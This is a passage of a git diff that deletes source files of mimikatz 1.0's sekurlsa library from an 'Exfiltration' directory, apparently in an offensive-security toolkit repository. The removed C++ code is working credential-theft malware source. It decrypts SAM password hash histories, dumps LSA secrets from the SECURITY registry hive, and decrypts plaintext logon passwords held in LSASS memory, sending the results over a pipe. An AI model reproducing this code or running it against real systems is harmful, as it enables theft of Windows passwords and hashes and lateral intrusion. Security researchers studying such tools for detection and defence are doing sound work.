toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff); - mesInfos.LastLogoff_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->LastLogoff, true); - mesInfos.PasswordLastSet = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet); - mesInfos.PasswordLastSet_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordLastSet, true); - mesInfos.isPasswordNotExpire = (ptrAllInformations->UserAccountControl & USER_DONT_EXPIRE_PASSWORD) != 0; - mesInfos.isPasswordNotRequired = (ptrAllInformations->UserAccountControl & USER_PASSWORD_NOT_REQUIRED) != 0; - mesInfos.isPasswordExpired = ptrAllInformations->PasswordExpired != 0; - mesInfos.PasswordCanChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange); - mesInfos.PasswordCanChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordCanChange, true); - mesInfos.PasswordMustChange = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange); - mesInfos.PasswordMustChange_strict = toTimeFromOLD_LARGE_INTEGER(ptrAllInformations->PasswordMustChange, true); - mesInfos.LmPasswordPresent = ptrAllInformations->LmPasswordPresent != 0; - mesInfos.NtPasswordPresent = ptrAllInformations->NtPasswordPresent != 0; - - if(mesInfos.LmPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->LmOwfPassword.Buffer), ptrAllInformations->LmOwfPassword.Length); - if(mesInfos.NtPasswordPresent) - mesInfos.LmOwfPassword = mod_text::stringOfHex(reinterpret_cast(ptrAllInformations->NtOwfPassword.Buffer), ptrAllInformations->NtOwfPassword.Length); - - break; - } - return mesInfos; -} - -bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV) -{ - WUserAllInformation mesInfos; - mesInfos.DomaineName = domainName; - mesInfos.UserId = rid; - - DWORD Context = 2, Type = 0, tailleBlob; - PWHashHistory pMesDatas = NULL; - bool sendOk = true; - - if(NT_SUCCESS(SamIGetPrivateData(handleUser, &Context, &Type, &tailleBlob, &pMesDatas))) - { - unsigned short nbEntrees = min(pMesDatas->histNTLMsize, pMesDatas->histLMsize) / 16; - - for(unsigned short i = 1; i < nbEntrees && sendOk; i++) - { - BYTE monBuff[16] = {0}; - - wostringstream userNameQualif; - userNameQualif << monUserName << L"{p-" << i << L"}"; - mesInfos.UserName = userNameQualif.str(); - - if(NT_SUCCESS(SystemFunction025(pMesDatas->hashs[nbEntrees + i], &rid, monBuff))) - { - mesInfos.LmPasswordPresent = 1; - mesInfos.LmOwfPassword = mod_text::stringOfHex(monBuff, 0x10); - } - else - { - mesInfos.LmPasswordPresent = 0; - mesInfos.LmOwfPassword = L"échec de décodage :("; - } - - if(NT_SUCCESS(SystemFunction027(pMesDatas->hashs[i], &rid, monBuff))) - { - mesInfos.NtPasswordPresent = 1; - mesInfos.NtOwfPassword = mod_text::stringOfHex(monBuff, 0x10); - } - else - { - mesInfos.NtPasswordPresent = 0; - mesInfos.NtOwfPassword = L"échec de décodage :("; - } - - sendOk = descrToPipeInformations(monPipe, type, mesInfos, isCSV); - } - LocalFree(pMesDatas); - } - return sendOk; -} - -wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict) -{ - wostringstream reponse; - - if(monInt.LowPart == ULONG_MAX && monInt.HighPart == LONG_MAX) - { - if(!isStrict) - reponse << L"N\'arrive jamais"; - } - else if(monInt.LowPart == 0 && monInt.HighPart == 0) - { - if(!isStrict) - reponse << L"N\'est pas encore arrivé"; - } - else - { - SYSTEMTIME monTimeStamp; - if(FileTimeToSystemTime(reinterpret_cast(&monInt), &monTimeStamp) != FALSE) - { - reponse << dec << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wDay << L"/" << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMonth << L"/" << - setw(4)<< setfill(wchar_t('0')) << monTimeStamp.wYear << L" " << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wHour << L":" << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wMinute << L":" << - setw(2)<< setfill(wchar_t('0')) << monTimeStamp.wSecond; - } - } - return reponse.str(); -} - -wstring protectMe(wstring &maChaine) -{ - wstring result; - if(!maChaine.empty()) - { - result = L"\""; - result.append(maChaine); - result.append(L"\""); - } - return result; -} - -void correctMe(wstring &maChaine) -{ - unsigned char source[] = {0x19, 0x20, 0x13, 0x20, 0xab, 0x00, 0xbb, 0x00, 0x26, 0x20}; - unsigned char replac[] = {'\'', 0 , '-' , 0 , '\"', 0 , '\"', 0, '.', 0 }; - - for(unsigned int i = 0; i < maChaine.size() ; i++) - { - const BYTE * monPtr = reinterpret_cast(&maChaine.c_str()[i]); - for(int j = 0 ; j < min(sizeof(source), sizeof(replac)) ; j+=2) - { - if(*monPtr == source[j] && *(monPtr + 1) == source[j+1]) - { - *const_cast(monPtr) = replac[j]; - *const_cast(monPtr + 1) = replac[j + 1]; - break; - } - } - } -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h deleted file mode 100644 index 870aa4d..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/sam.h +++ /dev/null @@ -1,210 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "mod_text.h" -#include -#include - -bool searchSAMFuncs(); -__kextdll bool __cdecl getSAMFunctions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getLocalAccounts(mod_pipe * monPipe, vector * mesArguments); - -#define SAM_SERVER_CONNECT 0x00000001 -#define DOMAIN_ALL_ACCESS 0x000F07FF -#define USER_ALL_ACCESS 0x000F07FF - -#define USER_ACCOUNT_DISABLED 0x00000001 -#define USER_PASSWORD_NOT_REQUIRED 0x00000004 -#define USER_NORMAL_ACCOUNT 0x00000010 -#define USER_WORKSTATION_TRUST_ACCOUNT 0x00000080 -#define USER_SERVER_TRUST_ACCOUNT 0x00000100 -#define USER_DONT_EXPIRE_PASSWORD 0x00000200 -#define USER_ACCOUNT_AUTO_LOCKED 0x00000400 -#define USER_SMARTCARD_REQUIRED 0x00001000 -#define USER_TRUSTED_FOR_DELEGATION 0x00002000 -#define USER_PASSWORD_EXPIRED 0x00020000 - -typedef struct _WUserAllInformation -{ - unsigned long UserId; - wstring UserName; - wstring DomaineName; - wstring FullName; - bool isActif; - bool isLocked; - wstring TypeCompte; - wstring UserComment; - wstring AdminComment; - wstring AccountExpires; - wstring AccountExpires_strict; - wstring WorkStations; - - wstring HomeDirectory; - wstring HomeDirectoryDrive; - wstring ProfilePath; - wstring ScriptPath; - - unsigned short LogonCount; - unsigned short BadPasswordCount; - wstring LastLogon; - wstring LastLogon_strict; - wstring LastLogoff; - wstring LastLogoff_strict; - - wstring PasswordLastSet; - wstring PasswordLastSet_strict; - bool isPasswordNotExpire; - bool isPasswordNotRequired; - bool isPasswordExpired; - wstring PasswordCanChange; - wstring PasswordCanChange_strict; - wstring PasswordMustChange; - wstring PasswordMustChange_strict; - - bool LmPasswordPresent; - wstring LmOwfPassword; - bool NtPasswordPresent; - wstring NtOwfPassword; -} WUserAllInformation, *PUserAllInformation; - -typedef struct _WHashHistory -{ - DWORD unkVersion; - unsigned short currentLMsize; - unsigned short unkCurrentLMsize; - DWORD unkCurLM; - BYTE EncLMhash[16]; - - unsigned short currentNTLMsize; - unsigned short unkCurrentNTLMsize; - DWORD unkCurNTLM; - BYTE EncNTLMhash[16]; - - unsigned short histLMsize; - unsigned short unkhistLMsize; - DWORD unkHistLM; - - unsigned short histNTLMsize; - unsigned short unkhistNTLMsize; - DWORD unkHistNTLM; - BYTE hashs[24][16]; -} WHashHistory, *PWHashHistory; - -DECLARE_HANDLE(HUSER); -DECLARE_HANDLE(HSAM); -DECLARE_HANDLE(HDOMAIN); - -typedef struct _SAMPR_RID_ENUMERATION -{ - unsigned long RelativeId; - LSA_UNICODE_STRING Name; -} SAMPR_RID_ENUMERATION, *PSAMPR_RID_ENUMERATION; - -typedef struct _SAMPR_ENUMERATION_BUFFER -{ - unsigned long EntriesRead; - [size_is(EntriesRead)] PSAMPR_RID_ENUMERATION Buffer; -} SAMPR_ENUMERATION_BUFFER, *PSAMPR_ENUMERATION_BUFFER; - -typedef enum _USER_INFORMATION_CLASS -{ - UserInternal1Information = 18, - UserAllInformation = 21, -} USER_INFORMATION_CLASS, *PUSER_INFORMATION_CLASS; - -typedef struct _ENCRYPTED_LM_OWF_PASSWORD -{ - BYTE data[16]; -} ENCRYPTED_LM_OWF_PASSWORD, *PENCRYPTED_LM_OWF_PASSWORD, ENCRYPTED_NT_OWF_PASSWORD, *PENCRYPTED_NT_OWF_PASSWORD; - -typedef struct _SAMPR_USER_INTERNAL1_INFORMATION -{ - ENCRYPTED_NT_OWF_PASSWORD EncryptedNtOwfPassword; - ENCRYPTED_LM_OWF_PASSWORD EncryptedLmOwfPassword; - unsigned char NtPasswordPresent; - unsigned char LmPasswordPresent; - unsigned char PasswordExpired; -} SAMPR_USER_INTERNAL1_INFORMATION, *PSAMPR_USER_INTERNAL1_INFORMATION; - -typedef struct _OLD_LARGE_INTEGER { - unsigned long LowPart; - long HighPart; -} OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; - -typedef struct _SAMPR_SR_SECURITY_DESCRIPTOR { - [range(0, 256 * 1024)] unsigned long Length; - [size_is(Length)] unsigned char* SecurityDescriptor; -} SAMPR_SR_SECURITY_DESCRIPTOR, *PSAMPR_SR_SECURITY_DESCRIPTOR; - -typedef struct _SAMPR_LOGON_HOURS { - unsigned short UnitsPerWeek; - [size_is(1260), length_is((UnitsPerWeek+7)/8)] - unsigned char* LogonHours; -} SAMPR_LOGON_HOURS, *PSAMPR_LOGON_HOURS; - -typedef struct _SAMPR_USER_ALL_INFORMATION -{ - OLD_LARGE_INTEGER LastLogon; - OLD_LARGE_INTEGER LastLogoff; - OLD_LARGE_INTEGER PasswordLastSet; - OLD_LARGE_INTEGER AccountExpires; - OLD_LARGE_INTEGER PasswordCanChange; - OLD_LARGE_INTEGER PasswordMustChange; - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING FullName; - LSA_UNICODE_STRING HomeDirectory; - LSA_UNICODE_STRING HomeDirectoryDrive; - LSA_UNICODE_STRING ScriptPath; - LSA_UNICODE_STRING ProfilePath; - LSA_UNICODE_STRING AdminComment; - LSA_UNICODE_STRING WorkStations; - LSA_UNICODE_STRING UserComment; - LSA_UNICODE_STRING Parameters; - LSA_UNICODE_STRING LmOwfPassword; - LSA_UNICODE_STRING NtOwfPassword; - LSA_UNICODE_STRING PrivateData; - SAMPR_SR_SECURITY_DESCRIPTOR SecurityDescriptor; - unsigned long UserId; - unsigned long PrimaryGroupId; - unsigned long UserAccountControl; - unsigned long WhichFields; - SAMPR_LOGON_HOURS LogonHours; - unsigned short BadPasswordCount; - unsigned short LogonCount; - unsigned short CountryCode; - unsigned short CodePage; - unsigned char LmPasswordPresent; - unsigned char NtPasswordPresent; - unsigned char PasswordExpired; - unsigned char PrivateDataSensitive; -} SAMPR_USER_ALL_INFORMATION, *PSAMPR_USER_ALL_INFORMATION; - -typedef [switch_is(USER_INFORMATION_CLASS)] union _SAMPR_USER_INFO_BUFFER /* http://msdn.microsoft.com/en-us/library/cc211885.aspx */ -{ - [case(UserInternal1Information)] - SAMPR_USER_INTERNAL1_INFORMATION Internal1; - [case(UserAllInformation)] - SAMPR_USER_ALL_INFORMATION All; -} SAMPR_USER_INFO_BUFFER, *PSAMPR_USER_INFO_BUFFER; - -WUserAllInformation UserInformationsToStruct(USER_INFORMATION_CLASS type, PSAMPR_USER_INFO_BUFFER & monPtr); -bool descrToPipeInformations(mod_pipe * monPipe, USER_INFORMATION_CLASS type, WUserAllInformation & mesInfos, bool isCSV = false); -bool descrUserHistoryToPipe(mod_pipe * monPipe, DWORD rid, wstring monUserName, wstring domainName, HUSER handleUser, USER_INFORMATION_CLASS type, bool isCSV = false); -wstring toTimeFromOLD_LARGE_INTEGER(OLD_LARGE_INTEGER & monInt, bool isStrict = false); -wstring protectMe(wstring &maChaine); -void correctMe(wstring &maChaine); - -typedef NTSTATUS (WINAPI * PSAM_I_CONNECT) (DWORD, HSAM *, DWORD, DWORD); -typedef NTSTATUS (WINAPI * PSAM_R_OPEN_DOMAIN) (HSAM, DWORD dwAccess, PSID, HDOMAIN*); -typedef NTSTATUS (WINAPI * PSAM_R_OPEN_USER) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*); -typedef NTSTATUS (WINAPI * PSAM_R_ENUMERATE_USERS_IN_DOMAIN) (HDOMAIN, DWORD*, DWORD, PSAMPR_ENUMERATION_BUFFER *, DWORD, PVOID); -typedef NTSTATUS (WINAPI * PSAM_R_QUERY_INFORMATION_USER) (HUSER, DWORD, PSAMPR_USER_INFO_BUFFER *); -typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD); -typedef HLOCAL (WINAPI * PSAM_I_FREE_SAMPR_ENUMERATION_BUFFER) (PSAMPR_ENUMERATION_BUFFER); -typedef NTSTATUS (WINAPI * PSAM_R_CLOSE_HANDLE) (PHANDLE); -typedef NTSTATUS (WINAPI * PSAM_I_GET_PRIVATE_DATA) (HUSER, DWORD *, DWORD *, DWORD *, PWHashHistory *); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp deleted file mode 100644 index 06d8664..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.cpp +++ /dev/null @@ -1,99 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "secrets.h" - -PLSA_I_OPEN_POLICY_TRUSTED LsaIOpenPolicyTrusted = NULL; -PLSA_R_OPEN_SECRET LsarOpenSecret = NULL; -PLSA_R_QUERY_SECRET LsarQuerySecret = NULL; -PLSA_R_CLOSE LsarClose = NULL; - -bool searchSECFuncs() -{ - if(!(LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose)) - { - if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) - { - LsaIOpenPolicyTrusted = reinterpret_cast(GetProcAddress(hLsasrv, "LsaIOpenPolicyTrusted")); - LsarOpenSecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarOpenSecret")); - LsarQuerySecret = reinterpret_cast(GetProcAddress(hLsasrv, "LsarQuerySecret")); - LsarClose = reinterpret_cast(GetProcAddress(hLsasrv, "LsarClose")); - } - return (LsaIOpenPolicyTrusted && LsarOpenSecret && LsarQuerySecret && LsarClose); - } - else return true; -} - -__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments) -{ - wostringstream monStream; - monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchSECFuncs() ? L"OK :)" : L"KO :(") << endl << endl << - L"@LsaIOpenPolicyTrusted = " << LsaIOpenPolicyTrusted << endl << - L"@LsarOpenSecret = " << LsarOpenSecret << endl << - L"@LsarQuerySecret = " << LsarQuerySecret << endl << - L"@LsarClose = " << LsarClose << endl; - return sendTo(monPipe, monStream.str()); -} - -__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments) -{ - if(searchSECFuncs()) - { - bool sendOk = true; - wstring message; - LSA_HANDLE hPolicy; - - if(NT_SUCCESS(LsaIOpenPolicyTrusted(&hPolicy))) - { - HKEY hKeysSecrets; - if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SECURITY\\Policy\\Secrets", 0, KEY_READ, &hKeysSecrets) == ERROR_SUCCESS) - { - DWORD nbKey, maxKeySize; - if(RegQueryInfoKey(hKeysSecrets, NULL, NULL, NULL, &nbKey, &maxKeySize, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - for(DWORD i = 0; (i < nbKey) && sendOk; i++) - { - DWORD buffsize = (maxKeySize+1) * sizeof(wchar_t); - LSA_UNICODE_STRING monNomSecret = {0, 0, new wchar_t[buffsize]}; - - if(RegEnumKeyEx(hKeysSecrets, i, monNomSecret.Buffer, &buffsize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - monNomSecret.Length = monNomSecret.MaximumLength = static_cast(buffsize * sizeof(wchar_t)); - message.assign(L"\nSecret : "); message.append(mod_text::stringOfSTRING(monNomSecret)); message.push_back(L'\n'); - - LSA_HANDLE hSecret; - if(NT_SUCCESS(LsarOpenSecret(hPolicy, &monNomSecret, SECRET_QUERY_VALUE, &hSecret))) - { - LSA_SECRET * monSecret = NULL; - if(NT_SUCCESS(LsarQuerySecret(hSecret, &monSecret, NULL, NULL, NULL))) - { - message.append(L"Credential : "); message.append(mod_text::stringOrHex(reinterpret_cast(monSecret->Buffer), monSecret->Length)); message.push_back(L'\n'); - LsaFreeMemory(monSecret); - } - else message.append(L"Erreur : Impossible de récupérer le secret\n"); - LsarClose(&hSecret); - } - else message.append(L"Erreur : Impossible d\'ouvrir le secret\n"); - } - delete[] monNomSecret.Buffer; - sendOk = sendTo(monPipe, message); - } - message.clear(); - } else message.assign(L"Erreur : Impossible d\'obtenir des information sur le registre secret\n"); - RegCloseKey(hKeysSecrets); - } - else message.assign(L"Erreur : Impossible d\'ouvrir la clé Secrets\n"); - LsarClose(&hPolicy); - } - else message.assign(L"Erreur : Impossible d\'ouvrir la politique\n"); - - if(!message.empty()) - sendOk = sendTo(monPipe, message); - - return sendOk; - } - else return getSECFunctions(monPipe, mesArguments); -} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h deleted file mode 100644 index cb74837..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/secrets.h +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "mod_text.h" -#include - -bool searchSECFuncs(); -__kextdll bool __cdecl getSECFunctions(mod_pipe * monPipe, vector * mesArguments); -__kextdll bool __cdecl getSecrets(mod_pipe * monPipe, vector * mesArguments); - -#define SECRET_SET_VALUE 0x00000001 -#define SECRET_QUERY_VALUE 0x00000002 - -typedef struct _LSA_SECRET -{ - DWORD Length; - DWORD MaximumLength; - wchar_t * Buffer; -} LSA_SECRET, *PLSA_SECRET; - -typedef NTSTATUS (WINAPI * PLSA_I_OPEN_POLICY_TRUSTED) (LSA_HANDLE * pHPolicy); -typedef NTSTATUS (WINAPI * PLSA_R_OPEN_SECRET) (LSA_HANDLE hPolicy, LSA_UNICODE_STRING *, DWORD dwAccess, LSA_HANDLE * hSecret); -typedef NTSTATUS (WINAPI * PLSA_R_QUERY_SECRET) (LSA_HANDLE hSecret, PLSA_SECRET * ppSecret, PVOID pCurrentValueSetTime, PLSA_UNICODE_STRING * ppOldSecret, PVOID pOldValueSetTime); -typedef NTSTATUS (WINAPI * PLSA_R_CLOSE) (LSA_HANDLE * pHandle); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp deleted file mode 100644 index 1d07596..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.cpp +++ /dev/null @@ -1,86 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "sekurlsa.h" -PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable = NULL; - -__kextdll bool __cdecl getDescription(wstring * maDescription) -{ - maDescription->assign(L"SekurLSA : librairie de manipulation des données de sécurités dans LSASS\n"); - return mod_system::getVersion(&mod_system::GLOB_Version); -} - -bool searchLSAFuncs() -{ - if(!SeckPkgFunctionTable) - { - if(HMODULE hLsasrv = GetModuleHandle(L"lsasrv")) - { - struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsasrv, "LsaIRegisterNotification"), GetProcAddress(hLsasrv, "LsaICancelNotification")}; - if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) - mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); - } - } - return (SeckPkgFunctionTable != NULL); -} - -wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass) -{ - wstring password; - if(ptrPass->Buffer && (ptrPass->Length > 0)) - { - BYTE * monPass = new BYTE[ptrPass->MaximumLength]; - RtlCopyMemory(monPass, ptrPass->Buffer, ptrPass->MaximumLength); - SeckPkgFunctionTable->LsaUnprotectMemory(monPass, ptrPass->MaximumLength); - password.assign(mod_text::stringOrHex(reinterpret_cast(monPass), ptrPass->Length)); - delete[] monPass; - } - return password; -} - -bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders) -{ - bool sendOk = true; - PLUID sessions; - ULONG count; - - if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) - { - for (ULONG i = 0; i < count && sendOk; i++) - { - PSECURITY_LOGON_SESSION_DATA sessionData = NULL; - if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) - { - if(sessionData->LogonType != Network) - { - wostringstream maPremiereReponse; - maPremiereReponse << endl << - L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << - L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << - L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << - L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; - - sendOk = sendTo(monPipe, maPremiereReponse.str()); - - for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) - { - wostringstream maSecondeReponse; - maSecondeReponse << L'\t' << monProvider->second << L" : \t"; - sendOk = sendTo(monPipe, maSecondeReponse.str()); - monProvider->first(&sessions[i], monPipe, mesArguments->empty()); - sendOk = sendTo(monPipe, L"\n"); - } - } - LsaFreeReturnBuffer(sessionData); - } - else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'obtenir les données de session\n"); - } - LsaFreeReturnBuffer(sessions); - } - else sendOk = sendTo(monPipe, L"Erreur : Impossible d\'énumerer les sessions courantes\n"); - - return sendOk; -} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h deleted file mode 100644 index c36e173..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.h +++ /dev/null @@ -1,23 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "kmodel.h" -#include "secpkg.h" -#include "mod_memory.h" -#include "mod_system.h" -#include "mod_text.h" -#include "mod_process.h" - -extern PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; - -bool searchLSAFuncs(); -__kextdll bool __cdecl getDescription(wstring * maDescription); - -typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); -bool getLogonData(mod_pipe * monPipe, vector * mesArguments, vector> * mesProviders); - -wstring getPasswordFromProtectedUnicodeString(LSA_UNICODE_STRING * ptrPass); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.rc deleted file mode 100644 index 2243435e079a68d8ddee4f763bfdb89248bf1817..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1878 zcmbu9Yi|-!5Qg8+CjN&be9^=hsQm-wDsc;>3#gw+r4%=R-{izVxE_(Ac^>Xu4gKG z`;qRo_IOSOU4!~v3s9GOqc2E;<{D4I=c(ROkGI78VkiC^y(HF#K5pWUiLnoZDjbGz zh`3&1^^40rYS{zhN=+;pyf3gYj}c#Oq()JFzUGO__?-O0`zbsPphG)`a<=lD5>#kPnse)b8=P&Sf zcyqoA9hh6}1tM6{k=E-Ia+uJsV=SidnQi(rSee}+wCpq@rzxs2DQV;xedZZDJ=IO$ z|3*x;24p&-R@PqyJk0b}b7pC(A9Thwe`Dm;?H+5<{3AM=XiI?~twZ6ZxEYP0#5AXEx_EVp^UQ(*UmvY!fiD zSjy~@()K=vtJQhsF{i|PpUdVx%VV%3a3>zsDmJH9)@2j6-fEl0{E1^*RsB9XgHu^& zyFR|^JP1u0kE}k^8yK~h8&1Pyz iA6V}`>@nLsVV-TutSYvv9`2MZ+U%=H2Ux!+?2^9>3i93n diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj deleted file mode 100644 index dbea2a6..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj +++ /dev/null @@ -1,154 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} - Win32Proj - sekurlsa - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) - NoErrorReport - - - - - 0x040c - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_WINDOWS;_USRDLL;SEKURLSA_EXPORTS;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - Size - true - false - Fast - false - false - None - - - Windows - false - true - true - psapi.lib;secur32.lib;advapi32.lib;shlwapi.lib;%(AdditionalDependencies) - NoErrorReport - - - - - 0x040c - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters deleted file mode 100644 index 936fcde..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/sekurlsa.vcxproj.filters +++ /dev/null @@ -1,122 +0,0 @@ - - - - - {87c9f520-31d1-4b44-a523-415e0c703bde} - - - {8c6588bf-b3cf-4080-b59e-3ce82a6ccd62} - - - {9e44771d-18f4-407a-8f89-508cf5c366ff} - - - {541a9eff-641d-4a77-9b1f-e72ad6a7c0fa} - - - {ba6b07a5-6d5b-4632-ad6e-56690630eaa7} - - - {1e52fbf9-a352-419f-870b-3c4e265781d8} - - - - - {7fcd7c52-b4e5-4c6c-9dc7-190fbe667193} - - - {c175e3ec-41d0-4474-bbc7-eb1962a7fc70} - - - {b3819528-2e60-46a3-b37a-7c575a4d866a} - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - Modules Communs\Mémoire - - - - Modules Communs\System - - - Security Packages - - - Security Packages - - - Modules Communs\Texte - - - Modules Communs\System - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - - - Modules Communs\Communication - - - Modules Communs\Parseur - - - Modules Communs\Librairie Modèle - - - Modules Communs\Mémoire - - - - Modules Communs\System - - - Security Packages - - - Security Packages - - - Modules Communs\Texte - - - - Modules Communs\System - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - Modules locaux pour sekurlsa - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/lisezmoi.txt b/Exfiltration/mimikatz-1.0/lisezmoi.txt deleted file mode 100644 index eed6a50..0000000 --- a/Exfiltration/mimikatz-1.0/lisezmoi.txt +++ /dev/null @@ -1,47 +0,0 @@ -mimikatz -======== - - -Cette 